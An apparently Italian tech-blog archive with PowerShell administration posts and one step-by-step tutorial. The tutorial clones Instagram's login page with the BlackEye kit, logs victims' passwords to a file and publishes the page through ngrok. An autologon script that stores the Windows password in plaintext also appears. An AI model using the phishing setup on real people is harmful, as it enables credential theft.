martedì 1 febbraio 2022

PowerShell: Abilitare autologon di Windows

Di seguito un semplice script PowerShell che abilita l'autologon e salva le credenziali di accesso all'interno del registro di Windows. Al successivo riavvio verrà eseguito automaticamente il logon al sistema con le credenziali specificate.

La password viene memorizzata in chiaro all'interno del registro di Windows quindi si consiglia di utilizzare tale script con attenzione e nel modo appropriato.

PowerShell



  # Richiesta inserimento credenziali   
  $cred = Get-Credential -Message 'Attivazione autologon'   
  $password = $cred.GetNetworkCredential().Password   
  $username = $cred.UserName   
  # Salvataggio delle credenziali all'interno del registro    
  # Attenzione! la password è salvata in chiaro   
  $regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"   
  Set-ItemProperty -Path $regPath -Name AutoAdminLogon -Value 1   
  Set-ItemProperty -Path $regPath -Name DefaultPassword -Value $password   
  Set-ItemProperty -Path $regPath -Name DefaultUserName -Value $username   
  # Esegue il riavvio del sistema   
  Restart-Computer   


Dal seguente link è possibile scaricare il file PS1





lunedì 31 gennaio 2022

Kali Linux: Rubare credenziali di accesso ad un sito Internet tramite phishing

In quest'articolo vedremo come sia semplice mettere su un sito di phishing per rubare le credenziali di un utente sprovveduto. Tali operazioni vengono eseguite anche da alcune aziende al fine di verificare se i propri impiegati abboccano alle email e ai siti di phishing. 

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Preparazione sito phishing

Il primo passo consiste nel clonare il sito, o almeno la pagina di autenticazione, di nostro interesse. L'operazione può essere eseguita in diversi modi, manualmente, tramite il classico comando wget, sfruttando tool come httrack, utilizzando Social-Engineer Toolkit (SET) incluso in Kali Linux, ecc.  In quest'articolo, per semplicità, verrà utilizzato il tool BlackEye che ci consentirà di raggiungere il nostro obiettivo in maniera più rapida dato che integra le pagine di logon dei siti più popolari come Instagram, Facebook, Apple, Twitter, Twitch , ecc.

Per scaricare il tool, eseguire il seguente comando da una finestra terminale
git clone https://github.com/An0nUD4Y/blackeye.git
Download BlackEye
FIG 1 - Download BlackEye
Supponiamo di essere interessati alla pagina di logon di Instagram. Visualizziamo il contenuto della cartella /home/kali/blackeye/sites/instagram. Come visibile in FIG 2 la cartella contiene 5 elementi: la sottocartella index_files, contenente immagini e altri file relativi alla pagina fake, e 4 file (index.php, ip.php, login.html, login.php)
Login Instagram
FIG 2 - Login Instagram

Apriamo il file index.php ed esaminiamo il suo contenuto
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
Instagram, Index.php
FIG 3 - Instagram, Index.php
Nel codice notiamo che la prima operazione eseguita è l'inclusione del file ip.php
La funzione header() viene utilizzata per inviare un'intestazione HTTP raw e tramite Location viene specificato il nome del file da richiamare.
Eliminare dal codice la riga 2 
include 'ip.php';
che non ci interessa e salvare il file. Il suo contenuto dopo la modifica sarà:
<?php
header('Location: login.html');
exit
?>

Aprire il file login.html tramite il browser per trovarsi dinanzi ad una copia della pagina di login di Instagram. Per analizzare il funzionamento della pagina clone all'inserimento delle credenziali, attivare l'inspector premendo il tasto F12. Cliccare, con il tasto destro del mouse, sul pulsante Log in e selezionare Inspect Element
Browser, Inspect Element
FIG 4 - Browser, Inspect Element

Analizzando il codice della pagina, vediamo che il testo digitato dall'utente nel campo Phone number, username, or email verrà assegnato alla variabile chiamata username
<input type="text" class="_ph6vk _jdqpn _o716c" id="fa4e2a34ab06a" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" autocapitalize="off" autocorrect="off" maxlength="30" name="username" value="">
Allo stesso modo il contenuto del campo Password verrà assegnato alla variabile password.
<input type="password" class="_ph6vk _jdqpn _o716c" id="faa2da1ad083" aria-describedby="" placeholder="Password" aria-required="true" autocapitalize="off" autocorrect="off" name="password" value="">

Una cosa che balza subito all'occhio è che la maschera di login viene gestita con il form _3jvtb e, cliccando sul pulsante Log in, viene richiamato il file login.php
<form class="_3jvtb" action="login.php" method="POST">
Form
FIG 5 - Form

Ritorniamo alla cartella /home/kali/blackeye/sites/instagram e analizziamo il contenuto del file login.php:
<?php

file_put_contents("usernames.txt", "Account: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://instagram.com');
exit();
Il codice presente nel file è molto semplice. Tramite la funzione file_put_contents le variabili username e password contenenti le credenziali sottratte alla vittima tramite phishing, vengono salvate all'interno del file usernames.txt. A questo punto la funzione header reindirizzerà il browser della vittima verso il sito Instagram ufficiale (https://instagram.com).
login.php
FIG 6 - login.php

Avviare una finestra terminale come root e posizionarsi sulla cartella /home/kali/blackeye/sites/instagram con il comando
cd /home/kali/blackeye/sites/instagram
Creare il file usernames.txt eseguendo
echo Phishing data > usernames.txt
Assegnare i permessi completi con il comando
sudo chmod 777 usernames.txt 

Per pubblicare il sito fake sulla nostra macchina Linux dobbiamo spostare tutti i file in /var/www/html. Dalla stessa finestra terminale eseguire il comando
cp index_files/ -r index.php login.html login.php usernames.txt /var/www/html
Avviare il servizio Apache con il comando
service apache2 start
Copia file e avvio del servizio Apache
FIG 7 - Copia file e avvio del servizio Apache

All'interno della nostra rete locale la pagina fake sarà raggiungibile ad un indirizzo del tipo 
http://192.168.1.120/login.html 
dove 192.168.1.120 è l'indirizzo IP della nostra macchina Kali Linux. Per fare in modo che la pagina sia raggiungibile anche dall'esterno della rete locale possiamo utilizzare il servizio ngrok

Rendere il sito di phishing raggiungibile da Internet

Il servizio Ngrok consente di rendere raggiungibile i server locali, anche dietro NAT e firewall, su Internet attraverso il tunneling. Per usufruire del servizio dobbiamo registrarci al sito e scaricare il software per la nostra piattaforma.

La registrazione al sito richiede pochi istanti. Una volta cliccato su Sign up presente sulla homepage https://ngrok.com, basta digitare il nome desiderato, una password e fornire un indirizzo email valido su cui verrà inviata un'email per confermare la propria registrazione. 
Una volta eseguito il login, accedere alla sezione Your Authtoken e prendere nota del proprio authtoken

ngrok authtoken
FIG 8 - Ngrok authtoken


Da browser accedere alla pagina ufficiale del tool per il download https://ngrok.com/download.
Selezionare Linux quindi cliccando con il tasto destro del mouse su Download, copiamo il link e usiamo wget per scaricare il file. Il comando da eseguire da Terminale sarà analogo al seguente
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.tgz
sito Ngrok
FIG 9 - Sito Ngrok

Download di Ngrok
FIG 10 - Download di Ngrok

Sempre da Terminale, scompattare il file tgz scaricato con il comando
tar zxvf ngrok-stable-linux-amd64.tgz
Autenticare il proprio agent Ngrok tramite l'Authtoken utilizzando il comando
./ngrok authtoken xxxx
al posto di xxxx va indicato l'Authtoken visto nei passaggi precedenti.
Per avviare ngrok e abilitare il traffico HTTP tramite la porta 80 (quella utilizzata dal server Apache avviato precedentemente) digitare ed eseguire da terminale il comando
./ngrok http 80
Sessione Ngrok
FIG 11 - Sessione Ngrok

A questo punto, la nostra pagina fake sarà raggiungibile anche all'esterno della nostra rete locale con l'indirizzo pubblico fornito da Ngrok ed evidenziato nei campi Forwarding. In pratica viene effettuato un forward della porta e viene settato un tunnel: dalla porta 80 della nostra postazione verso l'indirizzo pubblico http://b46f-79-19-195-242.ngrok.io (FIG 10). Per fare in modo che venga visualizzata la nostra pagina fake dobbiamo aggiungere all'indirizzo il nome del file contenente la pagina. Nel nostro caso l'indirizzo completo sarà http://b46f-79-19-195-242.ngrok.io/login.html.

Quando la vittima inserirà le proprie credenziali queste verranno memorizzate all'interno del file usernames.txt
Credenziali rubate
FIG 12 - Credenziali rubate








venerdì 28 gennaio 2022

PowerShell: Identificare il gruppo locale Administrators

I membri del gruppo amministratori locali hanno privilegi elevati e accesso completo e senza limitazioni al computer. Il gruppo "Administrators" è presente di default in Windows, tuttavia il suo nome può variare in base alla regione. Ad es. sui sistemi francesi il gruppo si chiama "Administrateurs".

Per accedere al gruppo, indipendentemente dalla regione e dalla relativa denominazione, è opportuno usare il suo SID che è sempre S-1-5-32-544. Ad esempio, per visualizzare il nome e la descrizione del gruppo Administrators è possibile utilizzare il cmdlet Powershell Get-LocalGroup con il parametro -SID
Get-LocalGroup -SID S-1-5-32-544
Get-LocalGroup, Visualizza informazioni gruppo Administrators
FIG 1 - Get-LocalGroup, Visualizza informazioni gruppo Administrators


In maniera analoga, per visualizzare i membri che appartengono al gruppo, possiamo eseguire il comando
Get-LocalGroupMember -SID S-1-5-32-544






giovedì 27 gennaio 2022

PowerShell: Visualizzare l'ultimo utente connesso

Il nome dell'ultimo utente connesso al sistema viene memorizzato all'interno del valore LastLoggedOnUser presente nella chiave di registro HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI

Per visualizzare l'ultimo utente connesso al sistema utilizzando PowerShell possiamo utilizzare il cmdlet Get-ItemProperty:
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" | Select-Object -Property LastLo*, Idle*

LogonUI, ultimo utente connesso
FIG 1 - LogonUI, ultimo utente connesso

Allo stesso modo, per visualizzare tutti i profili utente memorizzati nel registro di Windows:
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\profilelist\*' | Select-Object -Property ProfileImagePath, FullProfile






mercoledì 26 gennaio 2022

Kali Linux: Installare PowerShell

Per installare PowerShell in Kali Linux eseguire, dalla finestra Terminale, i seguenti comandi
sudo apt update
sudo apt -y install powershell
Kali Linux, installare PowerShell
FIG 1 - Kali Linux, installare PowerShell

Al termine dell'installazione del pacchetto basterà eseguire pwsh per avviare PowerShell e trovarsi dinanzi al familiare prompt "PS".


Disinstallazione

Per disinstallare PowerShell basta eseguire dalla finestra Terminale il comando
sudo apt-get remove powershell
Per rimuovere PowerShell e le sue dipendenze il comando da eseguire è
sudo apt-get -y autoremove powershell





martedì 25 gennaio 2022

PowerShell: Identificare l'account amministratore locale

Nei sistemi Windows sono presenti alcuni account predefiniti come l'account locale "Administrator" che dispone di privilegi elevati. Il nome dell'account relativo all'amministratore locale può variare da regione a regione pertanto, per identificarlo indipendentemente dal suo nome, è opportuno ricercarlo tramite l'identificatore di sicurezza (SID). Il SID dell'account amministratore locale inizia sempre con 'S-1-5-' e usa il RID '-500'. Per ricercalo tramite PowerShell è possibile utilizzare il seguente comando
Get-LocalUser | Where-Object Sid -like 'S-1-5-*-500'
Get-LocalUser
FIG 1 - Get-LocalUser







lunedì 24 gennaio 2022

PowerShell: Rinominare l'account locale Administrator

Per ragioni di sicurezza, potremmo considerare di rinominare l'account Administrator locale incorporato in Windows che, avendo un nome noto e privilegi elevati, può essere oggetto di attenzione da parte di malintenzionati.
Prima di procedere con la rinomina dell'account bisogna chiarire alcuni punti:
  • Una volta rinominato l'account questo continuerà a funzionare ma per utilizzarlo sarà necessario specificare il nuovo nome. 
  • Assicurarsi che non ci siano processi automatici che utilizzino il vecchio nome account, in tal caso sarà necessario aggiornarli con il nuovo nome.
  • Rinominare l'account non cambierà il suo SID. Trattandosi di un SID noto, l'account potrà essere comunque preso di mira da attacchi mirati.
Per modificare il nome dell'account Administrator tramite PowerShell basta eseguire il seguente comando da una finestra PowerShell eseguita come amministratore
Rename-LocalUser -Name "Administrator" -NewName "GLubrano"
sostituendo la stringa passata al parametro -NewName con il nuovo nome che si intende assegnare all'account.

Per verificare se il nome dell'account di amministratore locale è stato modificato, eseguire il comando
Get-Localuser | Where-Object Sid -like 'S-1-5-*-500'

Rename-LocalUser
FIG 1 - Rename-LocalUser